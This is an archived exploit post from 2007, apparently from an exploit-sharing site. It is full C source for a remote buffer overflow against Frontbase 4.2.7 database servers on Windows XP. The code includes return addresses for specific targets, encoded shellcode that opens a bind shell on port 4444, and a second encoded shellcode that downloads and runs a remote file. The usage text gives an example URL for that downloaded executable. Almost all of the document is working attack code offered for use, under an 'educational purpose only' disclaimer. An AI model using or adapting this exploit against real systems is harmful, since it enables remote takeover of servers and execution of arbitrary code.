frontbase427v2-remote.txt
Posted on 03 April 2007
/* Dreatica-FXP crew * * ---------------------------------------- * Target : Frontbase <= 4.2.7 for Windows * Site : http://www.frontbase.com * Found by : Netragard, L.L.C Advisory * ---------------------------------------- * Exploit : Frontbase <= 4.2.7 POST-AUTH remote buffer overflow * Exploit date : 02.04.2007 * Exploit writer : Heretic2 (heretic2x@gmail.com) * OS : Windows XP SP0-SP2 * Crew : Dreatica-FXP * ---------------------------------------- * Info : This is the EIP overwrite realization of the Frontbase 'create procedure' buffer overflow. * Exploit was tested on Frontbase 4.2.7 and 4.1.16 versions under Windows XP SP0, Windows XP SP1, Windows XP SP2. * to add the Windows 2000 here , you will need to update a little stabstack code or use the SEH method exploit. * * this version of that exploit doesn't used the code from win32 SEH GetPC project to get the baseaddress * cause this was not worked on the Windows XP, so i took it from stack and calculated baseaddress. * * also i added here the 'Download and Execute exploit'. * * Exploit requires authentification! * * ---------------------------------------- * Compiling: * To compile this exploit you need: * 1. Folder 'C:usrFrontBaseIncludeFBCAccess' copy to exploit folder. * 2. Copy from 'C:usrFrontBaselib' file 'FBCAccess.lib' to your exploit folder. * 3. Select 'FBCAccess.lib' in linker options * 4. Compile. * ---------------------------------------- * Thanks to: * 1. Netragard, L.L.C Advisory ( http://www.netragard.com -- "We make I.T. Safe." ) * 2. The Metasploit project ( http://metasploit.com ) * 3. ALPHA 2: Zero-tolerance ( <skylined [at] edup.tudelft.nl> ) * 4. Dreatica-FXP crew ( ) * ---------------------------------------- * This was written for educational purpose only. Use it at your own risk. Author will be not be * responsible for any damage, caused by that code. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winsock2.h> #include <time.h> #pragma comment(lib,"ws2_32") #include "FBCAccess/FBCAccess.h" void usage(char * s); void logo(); void prepare_shellcode(unsigned char * fsh, int sh, char * url); void make_buffer(char * buf, int itarget, int sh, char * url); int validate_args( int port, int sh, int itarget); int send_buffer(char * host, int port, char * user, char * password, char * dbpassword, char * database, char * buf); int alphanumeric_encoder_thx_to_skylined(char *to_encode, char *encoded ); // ----------------------------------------------------------------- // XGetopt.cpp Version 1.2 // ----------------------------------------------------------------- int getopt(int argc, char *argv[], char *optstring); char *optarg; // global argument pointer int optind = 0, opterr; // global argv index // ----------------------------------------------------------------- // ----------------------------------------------------------------- struct _target{ const char *t ; unsigned long ret ; } targets[] = { // alphanumeric jmp esp, for Windows XP i found it only in ole32.dll {"Windows XP SP0 RUSSIAN [ ole32.dll ]", 0x77271f36 }, {"Windows XP SP1 RUSSIAN [ ole32.dll ]", 0x77270670 }, {"Windows XP SP2 RUSSIAN [ ole32.dll ]", 0x77544326 }, {"Windows XP SP2 DUTCH [ ole32.dll ]", 0x77514326 }, {NULL, 0x00000000 } }; struct { const char * name; char * shellcode; }shellcodes[]={ {"Spawn bindshell on port 4444", /* modified win32_bind - EXITFUNC=seh LPORT=4444 Encoder=Alpha2 http://metasploit.com first jmp instructions removed, cause we already have the baseaddress in ECX */ "x49x49x49x49x49x49" "x49x49x49x49x49x37x49x49x49x49x49x49x51x5ax6ax66" "x58x30x42x31x50x41x42x6bx42x41x76x32x42x42x32x41" "x41x30x41x41x42x58x50x38x42x42x75x38x69x39x6cx52" "x4ax5ax4bx42x6dx68x68x48x79x4bx4fx6bx4fx4bx4fx65" "x30x6cx4bx30x6cx31x34x71x34x4ex6bx42x65x65x6cx6e" "x6bx53x4cx43x35x62x58x55x51x4ax4fx4ex6bx72x6fx54" "x58x6cx4bx51x4fx77x50x53x31x78x6bx43x79x4ex6bx54" "x74x6cx4bx35x51x6ax4ex64x71x6fx30x6ex79x6ex4cx6d" "x54x6fx30x64x34x55x57x4fx31x59x5ax36x6dx36x61x59" "x52x5ax4bx4cx34x37x4bx62x74x47x54x46x48x70x75x4d" "x35x6cx4bx73x6fx64x64x33x31x4ax4bx43x56x4cx4bx44" "x4cx62x6bx6ex6bx63x6fx57x6cx65x51x6ax4bx77x73x56" "x4cx6cx4bx6ex69x62x4cx44x64x45x4cx55x31x6fx33x44" "x71x6bx6bx51x74x4ex6bx53x73x30x30x4ex6bx57x30x34" "x4cx6cx4bx64x30x37x6cx4ex4dx6cx4bx53x70x73x38x73" "x6ex30x68x4cx4ex62x6ex74x4ex38x6cx30x50x79x6fx6a" "x76x51x76x30x53x42x46x72x48x35x63x45x62x33x58x64" "x37x64x33x74x72x43x6fx33x64x4bx4fx78x50x52x48x38" "x4bx7ax4dx4bx4cx57x4bx62x70x69x6fx6ex36x71x4fx6e" "x69x4bx55x33x56x6cx41x4ax4dx76x68x74x42x63x65x51" "x7ax77x72x4bx4fx4ax70x63x58x6ex39x35x59x6bx45x4e" "x4dx30x57x4bx4fx38x56x50x53x50x53x42x73x51x43x70" "x53x70x43x32x73x52x63x76x33x59x6fx6ex30x55x36x33" "x58x76x71x71x4cx63x56x56x33x6ex69x59x71x4ex75x55" "x38x4cx64x55x4ax72x50x6bx77x56x37x4bx4fx4ex36x53" "x5ax56x70x32x71x33x65x69x6fx4ex30x62x48x39x34x4c" "x6dx74x6ex4ax49x63x67x69x6fx79x46x43x63x36x35x6b" "x4fx68x50x35x38x5ax45x70x49x6dx56x70x49x41x47x6b" "x4fx68x56x56x30x41x44x33x64x71x45x69x6fx4ex30x4d" "x43x53x58x5ax47x70x79x6bx76x73x49x41x47x49x6fx4e" "x36x63x65x4bx4fx4ex30x53x56x50x6ax35x34x53x56x41" "x78x61x73x30x6dx4cx49x4bx55x72x4ax72x70x76x39x45" "x79x58x4cx6bx39x59x77x31x7ax67x34x4cx49x49x72x70" "x31x6fx30x6cx33x6fx5ax69x6ex72x62x36x4dx4bx4ex53" "x72x34x6cx6ax33x6ex6dx62x5ax36x58x6cx6bx4cx6bx4e" "x4bx61x78x30x72x6bx4ex6dx63x46x76x4bx4fx44x35x32" "x64x39x6fx38x56x51x4bx70x57x52x72x70x51x32x71x53" "x61x42x4ax43x31x56x31x46x31x70x55x43x61x79x6fx6a" "x70x62x48x6ex4dx59x49x67x75x7ax6ex33x63x39x6fx59" "x46x63x5ax59x6fx4bx4fx76x57x6bx4fx6ax70x4cx4bx61" "x47x59x6cx6bx33x38x44x43x54x49x6fx58x56x36x32x59" "x6fx4ex30x43x58x68x70x4fx7ax54x44x73x6fx71x43x4b" "x4fx4ex36x6bx4fx78x50x66" }, { "Download and execute shellcode (set URL)", /* win32_download_exec - http://metasploit.com */ /* encoded by "ALPHA 2: Zero-tolerance. <skylined@edup.tudelft.nl> */ "x49x49x49x49x49x49x49x49x49x49x49x49x49x49x49x49" "x49x37x51x5Ax6Ax41x58x50x30x41x30x41x6Bx41x41x51" "x32x41x42x32x42x42x30x42x42x41x42x58x50x38x41x42" "x75x4Ax49x58x6Bx36x70x71x4Ax33x7Ax76x53x59x59x71" "x76x38x39x57x4Cx35x51x6Bx30x74x74x74x4Ax6Ex79x39" "x72x7Ax5Ax78x6Bx36x65x4Dx38x7Ax4Bx4Bx4Fx4Bx4Fx4B" "x4Fx54x30x50x4Cx4Ex79x6Cx59x5Ax39x4Fx33x79x6Dx55" "x68x6Cx69x5Ax39x4Ex79x4Ax39x34x52x58x59x6Ex75x54" "x52x4Bx59x6Dx55x36x54x45x42x7Ax79x6Fx61x56x72x53" "x71x34x52x5Ax4Ax6Dx75x76x72x4Ax4Dx4Ex67x4Dx31x6F" "x6Ax72x4Ax36x72x6Bx57x4Ex59x4Fx6Ax33x52x76x72x6E" "x37x4Cx4Dx6Fx5Ax74x34x7Ax6Fx48x4Ex79x58x55x42x4D" "x76x4Cx5Ax73x52x74x52x32x4Bx6Bx43x4Cx57x49x50x52" "x4Ax75x6Fx7Ax4Dx4Ax31x69x50x59x56x54x5Ax51x4Ex4F" "x6Dx69x4Cx33x4Bx64x30x4Bx70x6Fx36x6Bx77x54x52x73" "x64x62x32x79x4Fx4Dx6Dx6Ex7Ax70x5Ax73x78x70x78x4F" "x6Ax62x78x6Dx7Ax50x50x4Bx4Fx75x42x4Ax31x75x42x4B" "x6Fx6Fx75x4Dx4Ax61x4Ax52x78x52x58x4Dx4Bx6Ex7Ax50" "x58x66x72x4Dx49x6Dx4Ax51x4Ax56x72x55x33x62x32x50" "x6Ex55x4Ax51x4Fx4Ex77x75x42x63x79x49x63x4Dx4Dx39" "x50x32x51x4Bx79x4Dx49x6Dx49x6Ex79x76x7Ax51x4Fx4C" "x54x68x4Bx78x4Fx71x76x6Ax6Ex55x35x59x53x77x62x53" "x71x4Bx43x4Ex78x39x50x31x61x59x34x4Dx49x4Cx59x6E" "x79x46x7Ax71x4Fx6Fx7Ax6Ax6Fx69x4Fx74x59x4Dx77x77" "x69x78x6Cx73x53x37x69x6Ex4Fx37x69x7Ax67x75x4Ax73" "x45x6Ex59x75x42x71x55x6Bx43x78x39x4Bx7Ax45x36x68" "x4Ex73x45x31x4Ex6Dx4Dx4Fx6Ax39x55x79x68x6Ex57x4B" "x4Cx51x4Ex6Bx6Dx4Fx6Ax4Dx4Dx38x61x79x6Cx6Cx59x6A" "x39x4Fx5Ax70x59x4Bx79x79x59x6Ax6Ax4Ax6Fx39x59x73" "x56x48x4Ex53x55x55x42x71x55x6Bx79x6Ax6Ax50x66x48" "x4Ex65x39x6Ax69x65x36x78x4Ex50x6Dx6Fx5Ax52x79x30" "x35x35x4Cx50x59x4Ax4Cx31x70x58x48x78x4Bx78x4Fx6A" "x6Ax52x46x50x4Bx68x43x6Bx70x74x72x73x4Bx70x77x4F" "x5Ax56x39x73x6Ax61x61x4Dx6Fx63x56x43x56x75x36x4B" "x6Ex79x6Cx7Ax4Dx6Fx39x78x6Bx58x76x6Bx4Ax78x58x4B" "x4Dx6Bx4Dx5Ax4Bx4Bx4Cx4Ax4Ax7Ax4Ax5Ax39x59x4Ex6B" "x4Cx48x6Dx5Ax6Ax6Bx50x4Bx5Ax5Ax4Dx4Bx4Cx4Bx44x6B" "x6Dx6Cx30x4Ax4Bx6Bx4Cx79x6Ax58x6Dx59x66x5Ax4Bx59" "x70x68x58x4Dx49x7Ax6Ex6Ax50x4Cx37x4Bx6Cx6Dx31x6B" "x4Cx6Bx4Ax6Cx59x4Bx6Cx6Bx51x5Ax50x48x6Dx4Ax6Dx68" "x71x4Ax4Bx79x6Cx59x68x6Bx4Dx4Fx69x6Ex35x4Bx46x6B" "x48x4Bx4Dx4Ex35x78x70x6Bx4Bx4Ax4Bx7Ax58x48x6Bx4B" "x50x4Ax78x4Cx59x4Ax4Cx4Ax4Bx6Ax55x59x64x4Cx36x6B" "x47x4Ex79x68x4Cx38x4Bx7Ax75x4Bx6Dx79x66x7Ax4Ex4B" "x47x39x65x4Ax56x58x78x4Bx4Dx7Ax6Dx4Cx36x59x4Fx78" "x70x7Ax55x39x6Cx6Ex38x6Dx49" }, {NULL , NULL } }; // alphanumeric stack stabilizer char stabstack[]= "x01x01x01x01x54x54x5bx58x66x2dx30x30x50x5cx53x58x04x20x50x59"; int main(int argc, char **argv) { char temp1[100], temp2[100]; char *url= NULL, * remotehost=NULL, * user=NULL, * password=NULL, * database=NULL, * dbpassword=NULL; char default_remotehost[]="127.0.0.1"; char default_user[]="_SYSTEM"; char default_password[]=""; char default_database[]=""; char default_dbpassword[]=""; int port, itarget, sh; char c; logo(); if(argc<2) { usage(argv[0]); return -1; } // set defaults port=-1; itarget=0; sh=0; // ------------ while((c = getopt(argc, argv, "h:p:s:t:u:P:d:D:x:"))!= EOF) { switch (c) { case 'h': remotehost=optarg; break; case 's': sscanf(optarg, "%d", &sh); sh--; break; case 't': sscanf(optarg, "%d", &itarget); itarget--; break; case 'p': sscanf(optarg, "%d", &port); break; case 'u': user=optarg; break; case 'P': password=optarg; break; case 'd': database=optarg; break; case 'x': url=optarg; break; default: usage(argv[0]); return -1; } } if(validate_args( port, sh, itarget)==-1) return -1; if(remotehost == NULL) remotehost=default_remotehost; if(user == NULL) user=default_user; if(password == NULL) password=default_password; if(dbpassword == NULL) dbpassword=default_dbpassword; if(database == NULL) database=default_database; if(url == NULL) url=""; memset(temp1,0,sizeof(temp1)); memset(temp2,0,sizeof(temp2)); memset(temp1, 'x20' , 58 - strlen(remotehost) -1); printf(" # Host : %s%s# ", remotehost, temp1); if(port!=-1) { sprintf(temp2, "%d", port); memset(temp1,0,sizeof(temp1)); memset(temp1, 'x20' , 58 - strlen(temp2) -1); printf(" # Port : %s%s# ", temp2, temp1); }else { sprintf(temp2, "%s", database); memset(temp1,0,sizeof(temp1)); memset(temp1, 'x20' , 58 - strlen(temp2) -1); printf(" # Database: %s%s# ", temp2, temp1); } sprintf(temp2, "%s", user); memset(temp1,0,sizeof(temp1)); memset(temp1, 'x20' , 58 - strlen(temp2) -1); printf(" # User : %s%s# ", temp2, temp1); memset(temp1,0,sizeof(temp1)); memset(temp2,0,sizeof(temp2)); sprintf(temp2, "%s", shellcodes[sh].name ); memset(temp1, 'x20' , 58 - strlen(temp2) -1); printf(" # Shellcde: %s%s# ", temp2, temp1); if(sh==1) { memset(temp1,0,sizeof(temp1)); memset(temp2,0,sizeof(temp2)); sprintf(temp2, "%s", url ); memset(temp1, 'x20' , 58 - strlen(temp2) -1); printf(" # URL : %s%s# ", temp2, temp1); } memset(temp1,0,sizeof(temp1)); memset(temp1, 'x20' , 58 - strlen(targets[itarget].t) -1); printf(" # Target : %s%s# ", targets[itarget].t, temp1); printf(" # ------------------------------------------------------------------- # "); fflush(stdout); char buf[20000]; memset(buf,0,sizeof(buf)); printf("[+] Constructing attacking buffer... "); fflush(stdout); make_buffer((char *)buf,itarget,sh, url); printf("done "); if(send_buffer(remotehost,port, user, password, dbpassword, database, buf)==-1) { fprintf(stdout, "[-] Cannot exploit server %s ", remotehost); return -1; } return 0; } int validate_args(int port, int sh, int itarget) { int i=0,x=0; for(i=0;shellcodes[i].name;i++)if(i==sh)x=1; if(x==0) { printf("[-] The shellcode number is invalid "); return -1; } x=0; for(i=0;targets[i].t;i++)if(i==itarget)x=1; if(x==0) { printf("[-] The target is invalid "); return -1; } return 1; } void prepare_shellcode( char * fsh, int sh, char * url) { memcpy(fsh, shellcodes[sh].shellcode, strlen(shellcodes[sh].shellcode)); if(sh==1) { char locurl[1000]; memcpy(locurl, url, strlen(url)); locurl[strlen(locurl)]='x80'; char encoded_url[2500] ; alphanumeric_encoder_thx_to_skylined(locurl, encoded_url); strcat(fsh, encoded_url); } } void make_buffer(char * buf, int itarget, int sh, char * url) { // -=[ prepare shellcode ]=- char fsh[1000]; memset(fsh, 0, sizeof(fsh)); prepare_shellcode(fsh, sh, url); // ----------------- // -=[ fill buffer here ]=- memset(buf,0,sizeof(buf)); char * cp = buf; // make vulnerable sql92 command to get exploit strcat(buf, "create procedure ""); cp=buf+strlen(buf); // long buffer memset(cp, 'A', 255); cp+=strlen((char *)cp); // overwrite EIP *cp++ = (char)((targets[itarget].ret ) & 0xff); *cp++ = (char)((targets[itarget].ret >> 8) & 0xff); *cp++ = (char)((targets[itarget].ret >> 16) & 0xff); *cp++ = (char)((targets[itarget].ret >> 24) & 0xff); // some chars *cp++ = 'x41'; *cp++ = 'x41'; *cp++ = 'x41'; *cp++ = 'x41'; *cp++ = 'x41'; *cp++ = 'x41'; *cp++ = 'x41'; *cp++ = 'x41'; // put stack stabilizer memcpy(cp, stabstack, strlen(stabstack)); cp+=strlen((char *)cp); // put shellcode memcpy(cp, fsh, strlen(fsh)); cp+=strlen((char *)cp); // :P memset(cp, 'A', 10); cp+=strlen((char *)cp); // end of the sql92 command memcpy(cp, ""() begin end;", strlen(""() begin end;")); // ----------------- } int send_buffer(char * host, int port, char * user, char * password, char * dbpassword, char * database, char * buf) { FBCDatabaseConnection * fbdc; FBCMetaData *meta; char sesn[]="dreatica-fxp"; if(database!=NULL) port = -1; fbcInitialize(); if (port!=-1) { printf("[+] Connecting to %s:%d ", host, port); fbdc = fbcdcConnectToDatabaseUsingPort(host, port, dbpassword); }else { printf("[+] Connecting to %s to database %s ", host, database); fbdc = fbcdcConnectToDatabase(database, host, dbpassword); } if (fbdc == NULL) { printf("[-] Cannot connect to %s ", host); return -1; } char * session_name=sesn; meta = fbcdcCreateSession(fbdc, session_name, user, password, "system_user"); if (fbcmdErrorsFound(meta) != 0) { printf("[-] Failed to create session "); FBCErrorMetaData* emd = fbcdcErrorMetaData(fbdc, meta); char* msgs = fbcemdAllErrorMessages(emd); fbcemdRelease(emd); free(msgs); fbcmdRelease(meta); fbcdcClose(fbdc); fbcdcRelease(fbdc); return -1; } fbcmdRelease(meta); printf("[+] Sending %d bytes of buffer to server, check the shell ", strlen(buf)); // if exploit success, the app will stop here. meta = fbcdcExecuteDirectSQL(fbdc, buf); if (fbcmdErrorsFound(meta) != 0) { printf("[-] Failed to send buffer "); FBCErrorMetaData* emd = fbcdcErrorMetaData(fbdc, meta); char* msgs = fbcemdAllErrorMessages(emd); fbcemdRelease(emd); free(msgs); fbcmdRelease(meta); fbcdcClose(fbdc); fbcdcRelease(fbdc); return -1; } fbcmdRelease(meta); return 1; } // alphanumeric encoder took from "ALPHA 2: Zero-tolerance." code int alphanumeric_encoder_thx_to_skylined(char *to_encode, char *encoded ) { int i,ii=0, input, A, B, C, D, E, F, length=(int)strlen(to_encode); char* valid_chars = "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; // mixed chars char temp[10]; memset(temp, 0 , sizeof(temp)); memset(encoded,0x00,1000); srand((int)clock()); while( (input = to_encode[ii++]) != 0 ) { A = (input & 0xf0) >> 4; B = (input & 0x0f); F = B; i = rand() % ((int)strlen(valid_chars)); while ((valid_chars[i] & 0x0f) != F) { i = ++i % ((int)strlen(valid_chars)); } E = valid_chars[i] >> 4; D = (A^E); i = rand() % ((int)strlen(valid_chars)); while ((valid_chars[i] & 0x0f) != D) { i = ++i % ((int)strlen(valid_chars)); } C = valid_chars[i] >> 4; sprintf(temp,"%c%c", (C<<4)+D, (E<<4)+F); encoded[strlen(encoded)]=temp[0]; encoded[strlen(encoded)]=temp[1]; } encoded[strlen(encoded)]='A'; return 0; } // ----------------------------------------------------------------- // XGetopt.cpp Version 1.2 // ----------------------------------------------------------------- int getopt(int argc, char *argv[], char *optstring) { static char *next = NULL; if (optind == 0) next = NULL; optarg = NULL; if (next == NULL || *next == ' ') { if (optind == 0) optind++; if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == ' ') { optarg = NULL; if (optind < argc) optarg = argv[optind]; return EOF; } if (strcmp(argv[optind], "--") == 0) { optind++; optarg = NULL; if (optind < argc) optarg = argv[optind]; return EOF; } next = argv[optind]; next++; // skip past - optind++; } char c = *next++; char *cp = strchr(optstring, c); if (cp == NULL || c == ':') return '?'; cp++; if (*cp == ':') { if (*next != ' ') { optarg = next; next = NULL; } else if (optind < argc) { optarg = argv[optind]; optind++; } else { return '?'; } } return c; } // ----------------------------------------------------------------- // ----------------------------------------------------------------- // ----------------------------------------------------------------- void usage(char * s) { printf(" Usage: %s -h <host> -p <port> -s <shellcode> -t <target> -u <user> -p <password> -d <database> -D <dbpassword> -x <url> ", s); printf(" ----------------------------------------------------------------------- "); printf(" Arguments: "); printf(" "); printf(" -h <host> the host IP to attack "); printf(" -p <port> the port of server (default: -1 ) "); printf(" -s <shellcode> shellcode number (default: 1 ) "); printf(" -t <target> target number (default: 1 ) "); printf(" -u <user> user name of frontbase (default: _SYSTEM) "); printf(" -p <password> user password (default: <blank>) "); printf(" -d <database> database (if port = -1) (default: <blank>) "); printf(" -D <dbpassword> database password (default: <blank>) "); printf(" -x <url> URL to executable (default: <blank>) "); printf(" "); printf(" Shellcodes: "); for(int i=0; shellcodes[i].name!=0;i++) { printf(" %d. %s ",i+1,shellcodes[i].name); } printf(" "); printf(" Targets: "); for(int j=0; targets[j].t!=0;j++) { printf(" %d. %s ",j+1,targets[j].t); } printf(" "); printf(" Examples: "); printf(" %s -h 127.0.0.1 -d New ", s); printf(" %s -h 127.0.0.1 -p 1155 -u root -p dta -D dta -t 1 ", s); printf(" %s -h 127.0.0.1 -d New -t 5 -s 2 -x http://dreatica.com/calc.exe ", s); printf(" ----------------------------------------------------------------------- "); } void logo() { printf(" ####################################################################### "); printf(" # ____ __ _ ______ __ _____ # "); printf(" # / __ \________ _____/ /_(_)_________ / __/\ \/ / / _ / # "); printf(" # / / / / ___/ _ \/ __ / __/ / ___/ __ / ___ / / \ / / // / # "); printf(" # / /_/ / / / ___/ /_// /_/ / /__/ /_// /__/ / _/ / \ / ___/ # "); printf(" # /_____/_/ \___/ \_,_/\__/_/\___/\__,_/ /_/ /_/\_\/_/ # "); printf(" # crew # "); printf(" ####################################################################### "); printf(" # Exploit : Frontbase <= 4.2.7 for Windows (multiple targets) # "); printf(" # Tested : Frontbase 4.1.16 and 4.2.7 # "); printf(" # Author : Heretic2 (heretic2x@gmail.com) # "); printf(" # Version : 2.2 # "); printf(" # System : Windows XP SP0-SP2 # "); printf(" # Date : 02.04.2007 # "); printf(" # ------------------------------------------------------------------- # "); }
